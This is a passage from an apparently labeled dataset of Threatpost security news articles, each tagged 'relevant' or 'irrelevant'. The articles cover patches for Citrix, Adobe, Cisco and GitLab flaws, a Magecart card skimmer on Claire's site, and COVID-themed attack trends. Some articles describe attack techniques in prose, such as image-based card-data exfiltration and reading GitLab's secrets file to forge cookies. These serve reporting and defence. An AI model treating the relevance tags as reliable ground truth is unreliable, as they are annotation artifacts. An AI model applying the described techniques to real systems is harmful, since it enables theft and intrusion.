sensitive data. “Exploitation of this vulnerability allows hackers to obtain information that can be useful for breaching the perimeter, as the configuration file often stores domain account credentials for LDAP [Lightweight Directory Access Protocol; an industry standard protocol used for accessing distributed directory information services over an IP network] access,” said Medov in a statement. “With access to the domain account, a remote attacker can use the obtained data for authentication on other external company resources, including corporate mail, VPN, and web applications. Worse still, an attacker who has managed to read the configuration file can access sensitive data, such as database password (local PostgreSQL by default and a remote SQL Server database in some cases).” Specifically impacted at a critical level by the dual vulnerabilities is: XenMobile Server 10.12 before RP2, XenMobile Server 10.11 before RP4, XenMobile Server 10.10 before RP6 and XenMobile Server before 10.9 RP5. The remaining three flaws (CVE-2020-8210, CVE-2020-8211 and CVE-2020-8212) are rated medium- and low-severity. Further details on these vulnerabilities, as well as on the second critical flaw (CVE-2020-8208) have not been published; Threatpost has reached out to Citrix for comment. These lesser severity flaws affect CEM versions: XenMobile Server 10.12 before RP3, XenMobile Server 10.11 before RP6, XenMobile Server 10.10 before RP6 and XenMobile Server before 10.9 RP5. “The latest rolling patches that need to be applied for versions 10.9, 10.10, 10.11, and 10.12 are available immediately,” said Serna. “Any versions prior to 10.9.x must be upgraded to a supported version with the latest rolling patch. We recommend that you upgrade to 10.12 RP3, the latest supported version.” Citrix joins in on a slew of companies issuing regularly scheduled security updates this week, including Intel, which stomped out a critical-severity vulnerability affecting several of its motherboards, server systems and compute modules; Microsoft, which fixed 120 bugs including two under active attack; and Adobe, which patched 11 critical security holes in Acrobat and Reader. Earlier in the year, Citrix in January grappled with a critical vulnerability (CVE-2019-19781) in the Citrix Application Delivery Controller (ADC) and Citrix Gateway products, as well as multiple vulnerabilities in these same products in June allowing code injection, information disclosure and denial of service.",relevant
"Claire’s Customers Targeted with Magecart Payment-Card Skimmer The Magecart group targeted the tween accessories specialist starting the day after it shuttered its retail locations due to coronavirus. A Magecart credit-card skimmer was used to attack online customers of the retailer Claire’s for a month and a half, according to researchers. Claire’s – a purveyor of jewelry and accessories – closed its 3,000 physical retail locations worldwide on March 20, in the wake of the COVID-19 pandemic. An analysis from the Sansec Threat Research Team shows that a Magecart group saw an opportunity to harvest payment-card data in the closures – likely assuming that online sales activity would ramp up with no brick-and-mortar outlets available to shoppers. “Following common Magecart malpractice, payment skimmers were injected and used to steal customer data and cards,” according to Sansec. Magecart is an umbrella term encompassing several different threat groups who typically use the same modus operandi. They compromise websites typically by exploiting vulnerabilities or otherwise compromising in third-party eCommerce platforms, in order to inject card-skimming scripts on checkout pages. Magento-based hacks are seen most often, but Magecart also attacks other platforms, including Opencart, BigCommerce, Prestashop and Salesforce. At Virus Bulletin last October, researchers at RiskIQ said that Magecart is now so ubiquitous that its infrastructure is flooding the internet. There are at least 570+ known command-and-control (C2) domains for the group, with close to 10,000 hosts actively loading those domains, researchers said. In this case, Sansec telemetry picked up malicious code being injected into the Claire’s official eCommerce website (and that of its sister store, Icing), starting in late April. The malware persisted until this weekend, when it was removed on June 13. Specifically, code was added to the online check-out pages for the stores, and linked to the “Submit” button that shoppers use to submit their payment information. To hook up with the Submit function, the malware was added to the app.min.js file, which is a legitimate file hosted on the store servers. When a user clicked the button, the injected code would intercept all customer information that was entered during checkout, render it as an image, encode it with base64, and send it off to a special collection website controlled by the attackers, “claires-assets[dot]com.” “This approach uses image exfiltration (which is often not monitored by security systems) and uses a U.S.-based collection server, which is rare for this type of attack,” Sansec founder Willem de Groot told Threatpost. “I suspect that the collection server will be confiscated by U.S. law enforcement shortly.” On the technical front, “A temporary image is added to the DOM with the __preloader identifier,” according to the Sansec analysis, released on Monday. “The image is located on the server as controlled by the attacker. Because all of the customer submitted data is appended to the image address, the attacker now has received the full payload. Immediately, the image element is removed.” Claire’s runs on the Salesforce Commerce Cloud, previously known as Demandware, which is a hosted eCommerce platform, according to researchers. While Sansec doesn’t have insight into how the website was initially compromised, any of the usual suspects could have been a factor. Those could include leaked admin credentials, spearphishing of Claire’s employees or a compromised internal network. Sansec also pointed out that it’s unlikely that a vulnerability in the Salesforce platform itself was exploited, given that the skimmer was injected directly into code hosted on Claire’s servers. “So, there is no ‘supply-chain attack’ involved, and attackers have actually gained write access to the store code,” researchers said. “It is unlikely that the Salesforce platform got breached or that Salesforce is responsible for this incident.” Also, the claires-assets[dot]com collection website was set up on March 21, a day after the Claire’s retail stores closed. Yet activity didn’t start until the last week in April — also suggesting that a known bug in Salesforce wasn’t the culprit. “The domain period between exfil domain registration and actual malware suggests that it took the attackers a good four weeks to gain access to the store,” according to the analysis. That said, de Groot noted that “SaaS platforms like Salesforce, Shopify and BigCommerce have much better potential visibility into abuse of their platform, and increased ability to secure their customer base. While legally not culpable, one could argue that they could do more to scan or protect their stores.” Sansec also said that Claire’s responded promptly when notified of the issue. The store issued a statement: “Claire’s cares about protecting its customers’ data. On Friday, we identified an issue related to our e-commerce platform and took immediate action to investigate and address it. Our investigation identified the unauthorized insertion of code to our e-commerce platform designed to obtain payment card data entered by customers during the checkout process. We removed that code and have taken additional measures to reinforce the security of our platform.” It also said that it’s working on determining which of its customers were affected by the incident, so it can issue notifications. For it’s part, Sansec is unsure of the scope of the activity. “Since the interception happened in real time in the browsers of customers, we have no visibility in the scope of the theft,” de Groot told Threatpost. “Claire’s obviously knows, but I doubt they want to share that info.”",irrelevant
"Coronavirus Poll Results: Cyberattacks Ramp Up, WFH Prep Uneven A poll of Threatpost readers shows that security preparedness is uneven as organizations make an unprecedented transition to remote working. As the COVID-19 pandemic continues to sweep the globe and Americans are told to isolate from others, many organizations are sending employees home to work. While most respondents in a Threatpost poll this week said they feel prepared from a security standpoint for this transition, a fifth of them said they’re still struggling with the process. At the same time, a full 40 percent of those companies reported seeing increased cyberattacks as they enable remote working. In a survey of more than 200 Threatpost readers, about half (52 percent) said that their organizations are mostly prepared, but still have groups of employees that present security challenges for work-from-home (WFH) strategies. Only 30 percent said they feel fully prepared to move to all-remote working. Further, 13 percent said they are only ready to move a minority of workforce/students to online platforms; and 5 percent said they’re not prepared at all. These stats come as a not-so-healthy 40 percent said they’re seeing more attacks on their remote footprint. “Honestly, [all kinds of attacks] happen on a daily basis,” said one poll-taker. Another said that there have been “many attacks, no penetrations we are aware of.” Yet another noted, “attacks come in everyday, especially social engineering and automated scans.” Phishing or other social-engineering efforts are far and away the main threats that respondents have seen, with about a quarter (23 percent) reporting these kinds of attacks. About 10 percent said that they’ve seen an uptick in coronavirus-themed scams. That said, the good news is that business email compromise (BEC) attacks and data exfiltration were reported by less than 3 percent of respondents; and less than 1 percent said they have been affected by ransomware. Entrepreneur Dmitriy Akulov told Threatpost that cyberattacks should be top-of-mind, even if some of the more disruptive types have yet to rear their heads. “[This could] really compromise your team and business,” he said in an email interview. “Also, it’s important to keep in mind the daunting task that comes with having multiple workers signing on to non-safe connections, such as [personal] Wi-Fi. It’s easier to secure a network with everyone is in one place. Forget about how hard it is to secure your employees on a global level.” A Look at Preparedness For 70 percent of respondents, enabling remote working is fairly new. A third of respondents said that less than 20 percent of their user bases telecommuted before COVID-19 social distancing started; another third said they only had a handful of remote workers who telecommuted, and then only as needed. Another 11 percent said only “road warriors” worked remotely. In contrast, by the end of this week, 81 percent said that at least 50 percent of their workers will be WFH. In terms of whether security teams had an emergency plan in place to shift an on-premise workforce to one that is remote (say, as part of an existing disaster recovery plan), about half (47 percent) said they did not. About 41 percent said that they did, and that it’s been successful; and 11 percent said they did, but that the plan was out of date or insufficient. Amidst all of this, a full third (28 percent) of respondents said they were “extremely” worried about cyberattacks as they move employees or students to home working. Half (55 percent) said they were “somewhat” concerned. For the other 17 percent, security is a back-burner issue or not an issue at all. Challenges and Weak Links The challenges involved in securing a work-from-home footprint can be myriad, according to security professionals. For instance, a lack of IT resources can bite many organizations as they move to enable remote strategies. And when workers and students are sent outside the normal perimeter, managing device sprawl, and patching and securing hundreds of thousands of endpoints, becomes a much bigger challenge. In the Threatpost survey, end-user security awareness was the top challenge cited by respondents in securing their remote footprints, with 43 percent noting the issue as their No. 1 concern. The next-biggest concern was housing sensitive data off-premise and transmitting it via the open internet (cited by 20 percent). Just 10 percent said patching and updating was the largest challenge; followed by lack of footprint visibility (9.35 percent); mobile security (6.54 percent); and the cost of VPNs (6 percent). On a related note, Threatpost asked about weak links. Accordingly, a lack of end-user security awareness was cited by half of respondents (51 percent) as the weakest piece of the puzzle, dovetailing with the perceived security challenges. “It’s key to take some time out and train a remote worker,” Akulov told Threatpost. “Don’t simply expect them to work from home the same way they work from your offices. It can help both security and productivity if you take some time to train properly and provide your employees with key security software that can keep them (and your company) safe.” In terms of securing sensitive data, 58 percent said they have specific concerns arising from working in a regulated industry. About a quarter (24 percent) handle financial information, while 17 percent handle healthcare information. Poll-takers also said they work with customer credit-card data, student records, government data, and the security of oil/gas/operational technology environments. Meanwhile, a quarter of poll respondents (26 percent) said they’re nervous about home Wi-Fi and network security, and personal devices and BYOD was the top weak link for another fifth (19 percent) – these results contradict the low number of respondents who saw outside networks and mobile devices to be security challenges. When it comes to the cloud and SaaS applications, just 4.29 percent of respondents said they consider these technologies a weak link. And a full 55 percent of respondents said that cloud security has not become more of a focus as their user base goes remote – even though, presumably, cloud and SaaS technologies are underpinning many of their teleworking efforts. However, security pros said this area deserves a much-larger security focus – especially given that employees will be tempted to use their own SaaS apps to accomplish their work. “Security teams need to work closely with stakeholders to ensure all cloud environments are secure, and avoid the shadow IT trap,” Otavio Freire, CTO and co-founder, SafeGuard Cyber, told Threatpost. “It’s a matter of empowering your employees to use these apps securely so they can do their best business, not saying ‘no’ to ignore the problem. Instead, teams should work together to understand what tools are needed to conduct business, and why they need them. By developing a close relationship, you avoid being asked for approval at the last minute, or worse, finding out the team adopted an app without asking.” He added, “Cloud security is evolving, your security solution should too. Start by taking an inventory of your cloud apps and extend your security policies to those environments.” Securing the WFH Footprint In terms of best practices for securing remote footprints, ensuring device security was the top strategy among Threatpost poll respondents, cited by 34 percent. End-user security education was close behind (33 percent), followed by implementing a zero-trust approach (20 percent); taking inventory of the devices attaching to the network (10 percent); and performing risk-assessment on an employee-specific basis (4 percent). When it comes to the end-device security efforts that respondents have undertaken, a fifth of respondents (22 percent) have required multifactor authentication for all SaaS, mobile and cloud applications. About 11 percent have provided secured laptops to users; and 5 percent or fewer said they have implemented mandatory antivirus, hardware tokens or mandatory strong passwords. However, the percentages should be taken in the context that a full 30 percent said they have done all of these things, not just one or a handful of them. On the VPN front, only 37 percent are requiring workers to use VPNs to access corporate resources. Some respondents said they’re using alternatives to VPNs, such as direct access via a cloud service, or Citrix remote desktops. David Wolpoff, CTO and co-founder at Randori, noted that organizations should be prepared for hackers prioritizing breaking into VPNs. “To prevent that, patching known bugs is step one (and absolutely critical), but it’s not enough,” he said via email. “There are unpatchable weaknesses and non-public issues that hackers can exploit. To secure against these unknowns, companies need to look at the fundamentals. Specifically, segment your network…your VPN shouldn’t be able to talk to everything. And, “least privilege” should be your standard. Don’t let users or systems have more access than they need….Your VPN should land into a ‘DMZ’ that lets users have the minimum access.” Given that the coronavirus pandemic shows no signs of abating soon, organizations will continue to build out their WFH strategies. Some readers told Threatpost that the process has actually offered up a few security-related silver linings. In fact, 67 percent said they’ve seen positive outcomes in having a majority remote workforce. One reader found that it’s now easier to force security compliance as a contingency of being able to connect; another noted that it has given the security department an excuse to push through resistance to other cyber-improvements. Another similarly noted that the effort has brought security awareness to the forefront with management, and the process has reinforced the need for emergency response planning, disaster recovery and business continuity technology investment, and multi-factor authentication. “Lessons learned: Practice disasters before they happen,” concluded one respondent.",irrelevant
"Coronavirus-Themed Cyberattacks Drop — Microsoft Microsoft report offers insight on how threat actors exploited COVID-19 across the globe. A report from the Microsoft Threat Protection Intelligence Team found that Covid-19-themed cyberattacks peaked in early March and are now trending significantly down. The report also noted that those attacks have been a drop in the bucket compared to overall threats observed over the last four months. The report, which examined how cyberattacks exploited the crisis, found that attackers used local lures and preyed on people’s “concern, confusion, and desire for resolution” with mainly phishing campaigns aimed at spreading malware, committing identity theft or creating other disruptions. “Cybercriminals are looking for the easiest point of compromise or entry,” researchers wrote in the report. “One way they do this is by ripping lures from the headlines and tailoring these lures to geographies and locations of their intended victims.” Curiously, while attacks themselves increased due to COVID-19, overall trend of malware detection worldwide did not vary significantly, researchers found, calling the spike of pandemic-themed attacks “barely a blip in the total volume of threats we typically see in a month.” Instead of creating new types of malware to use during the pandemic, Microsoft’s threat intelligence on endpoints, email and data, identities and apps concluded that “this surge of COVID-19 themed attacks was really a repurposing from known attackers using existing infrastructure and malware with new lures.” Coronavirus-Themed Cyberattacks Drop The report highlights three countries—the United Kingdom, South Korea and the United States–and tracks the path of cyber attacks related to Covid-19 in those regions. While coronavirus-themed attacks began roughly at the same time in those countries even though their outbreaks tracked differently, research shows attackers adapting to the level of attention and concern people in each region had regarding the virus, researchers said. All three countries saw a spike in attacks in early March even though, for example, South Korea was hit by the virus earlier than the United Kingdom or the United States. However, attackers clearly followed the news in each country and increased attacks whenever there was a spike in interest or attention regarding the outbreak in the particular region, researchers found. In the United Kingdom, for example, “data shows a first peak approximately at the first confirmed COVID-19 death in the UK, with growth beginning again with the FTSE 100 stock crash on March 9, and then ultimately peaking around the time the United States announced a travel ban to Europe,” researchers found. Later, in early April, as the United Kingdom began providing more information to the public about Covid-19 and imposing lockdown measures, attacks dropped off, but when Prime Minister Boris Johnson was hospitalized on April 6 due to COVID-19 and then moved to intensive care, attacks surged, dropping off until April 12 when he was released from the hospital. Coronavirus-Themed Cyberattacks Compared to all malware After that attacks flattened out until the end of April, when U.K. authorities announced the peak of infections, after which “attacks took a notable drop to around 2,000 daily attacks,” researchers said. Attack cycles in South Korea and the United States followed similar trajectories, spiking whenever there was a significant news event related to the attack in that country and then tapering off when the pandemic assumed a more “business as usual” role in the news cycle, according to the report. Researchers expect cybercriminals will be similarly opportunistic regarding not just COVID-19 but also any future global events. Going forward, organizations can use their time and resources most wisely in cross-domain signal analysis, update deployment and user education to mitigate such attacks. “These COVID-19 themed attacks show us that the threats our users face are constant on a global scale,” researchers wrote. “Investments that raise the cost of attack or lower the likelihood of success are the optimal path forward.”",irrelevant
"Critical Adobe Illustrator, Bridge and Magento Flaws Patched Adobe fixed critical flaws in Illustrator, Magento and Bridge in an out-of-band security update. Adobe is warning of critical flaws in Adobe Bridge, Adobe Illustrator and the Magento e-commerce platform. If exploited, the most severe vulnerabilities could enable remote code execution on affected systems. Adobe’s out-of-band security update, released on Tuesday, addressed vulnerabilities tied to 35 CVEs overall (25 of which were critical). The majority of these flaws affect Adobe Bridge (version 10.0.1 and earlier for Windows), the company’s digital asset management software. “This update addresses multiple critical and important vulnerabilities that could lead to arbitrary code execution and information disclosure in the context of the current user,” according to Adobe’s update. Critical flaws include a stack-based buffer overflow flaw (CVE-2020-9555), heap overflow bugs (CVE-2020-9562, CVE-2020-9563), memory corruption glitch (CVE-2020-9568) and use-after-free vulnerabilities (CVE-2020-9566, CVE-2020-9567). Also included are critical out-of-bounds write flaws (CVE-2020-9554, CVE-2020-9556, CVE-2020-9559, CVE-2020-9560, CVE-2020-9561, CVE-2020-9564, CVE-2020-9565, CVE-2020-9569). All of these could enable arbitrary code execution if exploited by a remote attacker. “There are several Critical-rated CVEs being addressed that could allow a remote attacker to execute code on a system if a user opened a specially crafted file,” Dustin Childs, manager at Trend Micro’s Zero Day Initiative, told Threatpost. “Of these, the out-of-bound writes and heap overflows should be considered more critical than the others. Still, all of these bugs require a significant amount of work to exploit since an attack has no trivial way of controlling the heap.” Adobe also disclosed three “important” severity out-of-bounds read flaws (CVE-2020-9553, CVE-2020-9557, CVE-2020-9558) in Adobe Bridge that could enable information disclosure. Francis Provencher, Mat Powell and an anonymous reporter were credited for discovering the flaws, all working with Trend Micro’s Zero Day Initiative. Users are urged to update to Adobe Bridge version 10.0.4 for Windows and macOS. The update is a “priority 3,” which according to Adobe “resolves vulnerabilities in a product that has historically not been a target for attackers.” Also affected is Adobe Illustrator 2020 (versions 24.0.2 and earlier) for Windows. Adobe’s vector graphics editor application had critical memory corruption vulnerabilities (CVE-2020-9570, CVE-2020-9571, CVE-2020-9572, CVE-2020-9573, CVE-2020-9574) that could enable arbitrary code execution if exploited. The vulnerabilities were been fixed in Illustrator 2020 24.1.2 for Windows in a “priority 3” patch. Kushal Arvind Shah of Fortinet’s FortiGuard Labs was credited with reporting the flaws. Adobe also patched several critical flaws in Magento – a favorite target of the Magecart cybergang – that if exploited could lead to arbitrary code execution or information disclosure. The most serious of these include critical command infection flaws (CVE-2020-9576, CVE-2020-9578, CVE-2020-9582, CVE-2020-9583) and critical security mitigation bypass vulnerabilities (CVE-2020-9579, CVE-2020-9580). Below are affected Magento versions. magento adobe flaws Earlier this month, Adobe released its regularly scheduled security patches for vulnerabilities in its ColdFusion, After Effects and Digital Editions applications. If exploited, the flaws could enable attackers to view sensitive data, gain escalated privileges, and launch denial-of-service attacks. Each of the bugs were rated important-severity, based on CVSS rankings, marking an extremely low-volume month for Adobe bug fixes.",relevant
"Critical Adobe Photoshop Flaws Patched in Emergency Update Adobe issued out-of-band patches for critical flaws tied to 12 CVEs in Photoshop and other applications. Adobe released a slew of patches for critical vulnerabilities Tuesday that were part of an out-of-band security update. Several of the critical flaws are tied to Adobe’s popular Photoshop photo-editing software and allow adversaries to execute arbitrary code on targeted Windows devices. Overall, Adobe issued patches for flaws tied to 12 CVEs across Bridge, Prelude and Photoshop applications. The unscheduled updates come a week after Adobe issued its official July 2020 security updates, including critical code-execution bugs. Adobe said it was not aware of any exploits in the wild for any of the bugs patched in the update. The company did not offer technical details regarding the Photoshop CVEs. Threatpost reached out to Mat Powell, researcher with Trend Micro’s Zero Day Initiative, who is credited for finding each of the critical flaws. Powell has not responded to that request. Threatpost hopes to update this report with additional commentary from the researcher. All of the reported critical flaws stem from out-of-bounds read and write vulnerabilities, which occur when the software reads data past the end of – or before the beginning of – the intended buffer, potentially resulting in corruption of sensitive information, a crash, or code execution among other things. Adobe Photoshop features two out-of-bounds read flaws (CVE-2020-9683, CVE-2020-9686) and three out-of-bound write (CVE-2020-9684, CVE-2020-9685, CVE-2020-9687) issues. All of these could “lead to arbitrary code execution in the context of the current user,” according to Adobe. The Photoshop vulnerabilities affect Photoshop CC 2019 versions 20.0.9 and earlier and Photoshop 2020 21.2 and earlier (for Windows). Users can update to versions 20.0.10 and 21.2.1, respectively. Adobe has previously addressed various serious flaws in its Photoshop photo editing app, including dozens of arbitrary code-execution issues in March – which addressed 22 CVEs in Photoshop overall, 16 of which were critical. Other Flaws Also fixed were critical flaws tied to three CVEs in Bridge, Adobe’s asset management app. These include an out-of-bounds read flaw (CVE-2020-9675) and out-of-bounds write issues (CVE-2020-9674, CVE-2020-9676) that could enable code execution. Adobe Bridge versions 10.0.3 and earlier are affected; users can update to version 10.1.1 for a fix. Adobe also issued patches for critical vulnerabilities in its Prelude app, which works with its Premiere Pro video editing app to allow users to tag media with metadata for searching, post-production workflows, and footage lifecycle management. Prelude contains out-of-bounds read (CVE-2020-9677, CVE-2020-9679) and out-of-bounds write (CVE-2020-9678, CVE-2020-9680) glitches that can allow code execution. Adobe Preluade versions 9.0 and earlier for Windows are affected; users can update to version 9.0.1. Powell was also credited with reporting the additional critical flaws. Adobe also issued patches for an “important” severity flaw in Adobe Reader Mobile for Android, which allows users to view and edit PDFs from their smartphones. The application has a directory traversal issue (CVE-2020-9663) enabling information disclosure in the context of the current user. Adobe Reader Mobile for Android, versions 20.0.1 and earlier are impacted. Users can update to version 20.3 (for all Android versions).",relevant
"Cisco IP Phone Harbors Critical RCE Flaw Cisco stomped out a critical vulnerability in its IP Phone web server that could enable remote code execution by an unauthenticated attacker. Cisco is warning of a critical flaw in the web server of its IP phones. If exploited, the flaw could allow an unauthenticated, remote attacker to execute code with root privileges or launch a denial-of-service (DoS) attack. Proof-of-concept (PoC) exploit code has been posted on GitHub for the vulnerability (CVE-2020-3161), which ranks 9.8 out of 10 on the CVSS scale. Cisco issued patches in a Wednesday advisory for the flaw, which affects various versions of its Cisco IP phones for small- to medium-sized businesses. According to Jacob Baines with Tenable, who discovered the flaw, Cisco IP phone web servers lack proper input validation for HTTP requests. To exploit the bug, an attacker could merely send a crafted HTTP request to the /deviceconfig/setActivationCode endpoint (on the web server of the targeted device). This triggers a stack-based buffer overflow due to the lack of input validation: “In libHTTPService.so, the parameters after /deviceconfig/setActivationCode are used to create a new URI via a sprintf function call. The length of the parameter string is not checked,” according to Baines. The end result is the attacker being able to crash the device, or even potentially execute code remotely. Affected products include: IP Phone 7811, 7821, 7841, and 7861 Desktop Phones; IP Phone 8811, 8841, 8845, 8851, 8861, and 8865 Desktop Phones; Unified IP Conference Phone 8831 and Wireless IP Phone 8821 and 8821-EX. Of note, according to Cisco, some of these products (particularly the Wireless IP Phone 8821 and 8821-EX) are utilized by the healthcare industry who are currently on the frontlines of the coronavirus pandemic. critical cisco flaw IP Phone Cisco has also confirmed various products that aren’t affected by the flaw on its website. Beyond Cisco’s patches, one mitigation for the flaw is disabling web access on the IP phones (in fact, web access is disabled by default on IP phones), according to Cisco. New findings by Tenable’s Baines also led Cisco to bump up the severity of a previously-discovered vulnerability (CVE-2016-1421) in its IP phones to critical on Wednesday. Previously the flaw was medium-severity (ranking 5 out of 10 on the CVSS scale). However, Baines found that the flaw could be exploited by an unauthenticated actor (previously Cisco said exploiting the flaw required authentication) and could potentially enable remote code execution as well as DoS (previously Cisco found it could only enable DoS). Baines also found a produce, the Wireless IP Phone 8821, to be vulnerable that wasn’t listed on the affected list. Other Critical Flaws Cisco Wednesday also addressed critical- and high-severity flaws tied to nine CVEs in its Cisco Unified Computing System (UCS) Director and Cisco UCS Director Express for Big Data. Cisco UCS Director is an end-to-end management platform for various Cisco and non-Cisco data infrastructure components. Cisco UCS Director Express for Big Data is an open private-cloud platform that delivers Big-Data-as-a-Service on premises. The flaws (CVE-2020-3239, CVE-2020-3240, CVE-2020-3243, CVE-2020-3247, CVE-2020-3248, CVE-2020-3249, CVE-2020-3250, CVE-2020-3251, CVE-2020-3252) exist in the REST API for both products, and may allow a remote attacker to bypass authentication or conduct directory traversal attacks on an affected device. Below is a list of affected products and the fixed releases. critical cisco flaw Steven Seeley of Source Incite, working with Trend Micro’s Zero Day Initiative, was credited with reporting the flaws. “The Cisco Product Security Incident Response Team (PSIRT) is not aware of any public announcements or malicious use of the vulnerabilities that are described in this advisory,” according to Cisco.",relevant
"Critical Cisco Bug in Unified CCX Allows Remote Code Execution Cisco has fixed a critical remote code-execution flaw in its popular customer interaction management solution. Cisco has hurried out a fix out for a critical remote code-execution flaw in its customer interaction management solution, Cisco Unified Contact Center Express (CCX). Cisco’s Unified CCX software is touted as a “contact center in a box” that allows companies to deploy customer-care applications. The flaw (CVE-2020-3280), which has a CVSS score of 9.8 out of 10, stems from the Java Remote Management Interface of the product. “The vulnerability is due to insecure deserialization of user-supplied content by the affected software,” according to Cisco, in a Wednesday security alert. “An attacker could exploit this vulnerability by sending a malicious serialized Java object to a specific listener on an affected system. A successful exploit could allow the attacker to execute arbitrary code as the root user on an affected device.” An unauthenticated, remote attacker could exploit this flaw to execute arbitrary code on an affected device. Those who are using Cisco Unified CCX version 12.0 and earlier are urged to update to the fixed release, 12.0(1)ES03. Version 12.5 is not vulnerable, according to Cisco. Cisco is not aware of any public announcements or malicious use of the flaw, according to the update. The tech giant on Wednesday also released a patch addressing a high-severity flaw (CVE-2020-3272) in its Prime Network Registrar, which enables dynamic host configuration protocol (DHCP) services (as well as DNS services). The flaw stems from insufficient input validation of incoming DHCP traffic. It exists in the DHCP server and could enable an unauthenticated, remote attacker to trigger a denial of service (DoS) attack on an affected device. “An attacker could exploit this vulnerability by sending a crafted DHCP request to an affected device,” according to Cisco. “A successful exploit could allow the attacker to cause a restart of the DHCP server process, causing a DoS condition.” Also fixed were several medium-severity flaws, including a SQL injection flaw in Cisco’s Prime Collaboration Provisioning Software (CVE-2020-3184), a DOS flaw in Cisco AMP for Endpoints Mac Connector Software (CVE-2020-3314) and memory buffer flaws (CVE-2020-3343, CVE-2020-3344) in Cisco AMP for Endpoints Linux Connector Software and Cisco AMP for Endpoints Mac Connector Software. Earlier this month, Cisco also stomped out 12 high-severity vulnerabilities affecting Cisco’s Firepower Threat Defense (FTD) software, which is part of its suite of network security and traffic management products; and its Adaptive Security Appliance (ASA) software, the operating system for its family of ASA corporate network-security devices. The flaws can be exploited by unauthenticated remote attackers to launch an array of attacks – from denial of service (DoS) to sniffing out sensitive data.",relevant
"Critical Citrix RCE Flaw Still Threatens 1,000s of Corporate LANs RCE and myriad other types of attacks could take aim at the 19 percent of vulnerable companies that haven’t yet patched CVE-2019-19781. About one in five of the 80,000 companies affected by a critical bug in the Citrix Application Delivery Controller (ADC) and Citrix Gateway are still at risk from a trivial attack on their internal operations. If exploited, the flaw could allow unauthenticated attackers to gain remote access to a company’s local network and carry out arbitrary code-execution. Researchers told Threatpost that other attacks are also possible, including denial-of-service (DoS) campaigns, data theft, lateral infiltration to other parts of the corporate infrastructure, and phishing. According to an assessment from Positive Technologies, which disclosed the software vulnerability in December (tracked as CVE-2019-19781), 19 percent of vulnerable organizations in 158 countries have yet to patch. The U.S. originally accounted for 38 percent of all vulnerable organizations; about 21 percent of those are still running vulnerable instances of the products as of this week, PT said. The Citrix products (formerly the NetScaler ADC and Gateway) are used for application-aware traffic management and secure remote access, respectively. “Patching this bug should be an urgent priority for all remaining companies affected,” said Mikhail Klyuchnikov, an expert at PT who discovered the flaw, speaking to Threatpost. “The critical vulnerability allows attackers to obtain direct access to the company’s local network from the internet. This attack does not require access to any accounts, and therefore can be performed by any external attacker.” He added, “The flaw is really easy to exploit. It’s also very reliable.” Since Citrix is mainly used for giving remote access to applications in companies’ internal networks, Klyuchnikov told Threatpost that a compromise could easily used as a foothold to move laterally across a victim organization. “The critical information about applications accessible by Citrix can be leaked,” he explained. “That could possibly include information (and possibly credentials) about internal web applications, corporate applications, remote desktops and other applications available through the Citrix Gateway.” Attackers also could gain the ability to read configuration files, he said; these contain sensitive information like user credentials, yet more information about the internal network and credentials for internal services (LDAP, RADIUS and so on). “Depending on system settings, attackers can get administrative credentials for the Citrix Gateway, credentials (login, password, etc.) of company employees and credentials of other services used in Citrix Gateway [from the configuration files],” he said. Adding insult to injury, various other kinds of attacks are possible as well. “[An attacker] can conduct DoS attacks against Citrix Gateway, just deleting its critical files,” the researcher explained to Threatpost. “It can lead to unavailability of the login page of Citrix application. Thus, no one (e.g. company employees) can get access into internal network using Citrix gateway. In other words, the Citrix gateway application will cease to do its main task for which it was installed.” It’s also possible to conduct phishing attacks. For example, a hacker can change the login page so that the entered username and password is obtained by the attacker as clear text. And then there’s the remote code-execution danger: “An attacker can use a compromised application as part of a botnet or for cryptocurrency mining. And of course, it can place malicious files in this application,” Klyuchnikov noted. In-the-wild attacks could be imminent: On January 8, a researcher released an exploit that allows a potential attacker to perform automated attacks. Others followed. https://twitter.com/GossiTheDog/status/1214892555306971138 Citrix did not disclose many details about the vulnerability in its security advisory, however, Qualys researchers last month said that the mitigation steps offered by the vendor suggest the flaw stems from the VPN handler failing to sufficiently sanitize user-supplied inputs. According to PT, the countries with the greatest numbers of vulnerable companies are led by Brazil (43 percent of all companies where the vulnerability was originally detected), China (39 percent), Russia (35 percent), France (34 percent), Italy (33 percent) and Spain (25 percent). The USA, Great Britain, and Australia each stand at 21 percent of companies still using vulnerable devices without any protection measures. Last month, Citrix issued patches for several product versions to fix the issue, ahead of schedule. “Considering how long this vulnerability has been around (since the first vulnerable version of the software was released in 2014), detecting potential exploitation of this vulnerability (and, therefore, infrastructure compromise) retrospectively becomes just as important [as patching],” Klyuchnikov said. He added, “I think it’s easy to apply the patch, as there is already a regular update for the hardware that fixes the vulnerability. Nothing should get in the way, as there is a full update from Citrix.”",relevant
"Critical GitLab Flaw Earns Bounty Hunter $20K A GitLab path traversal flaw could allow attackers to read arbitrary files and remotely execute code. A critical GitLab vulnerability, which could be leveraged by a remote attacker to execute code, recently netted a researcher a $20,000 bug-bounty award. The flaw was reported to GitLab by software developer William Bowling via the HackerOne bug bounty platform on March 23. It was then disclosed this week after being patched in GitLab version 12.9.1. At issue is a path-traversal flaw in GitLab, which started out as a web-based Git repository manager but has moved into the DevOps lifecycle-management space. A path traversal is a web security flaw that allows an attacker to read arbitrary files on the server that is running an application. For this particular flaw, the ability to read arbitrary files on the server would give attackers access to tokens, private data, configs and more. Specifically the flaw exists in the UploadsRewriter function of GitLab, which is used to duplicate files. The UploadsRewriter does not validate the file name and path, allowing arbitrary files to be copied without restriction when moving issues to a new project. “As there is no restriction on what file can be, path traversal can be used to copy any file,” said Bowling in his bug-bounty report. “The file or path should be validated before copying files.” Bowling then took the flaw a step further, showcasing how it could be leveraged to launch a remote code-execution attack. Once the arbitrary file read flaw is exploited, he said, it can be used to grab the secret_key_base from the /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml service. The secret_key_base is used to derive keys that are used to generate and verify encrypted or signed cookies. Once attackers access the secret_key_base, they could manipulate these cookie services to send cookies to the server to execute code. GitLab verified the finding and escalated the issue to its engineering team, granting Bowling an initial $1,000 triage payment for his findings before ultimately granting the $20,000. GitLab in December announced it had awarded a total of $565,650 in security bug bounties to 171 researchers who reported valid vulnerabilities in the past year. GitLab launched its bug-bounty program in 2018, and according to Juan Broullon, senior application security engineer at the company, it received a total of 1,378 reports from 513 white-hat hackers in that time.",irrelevant
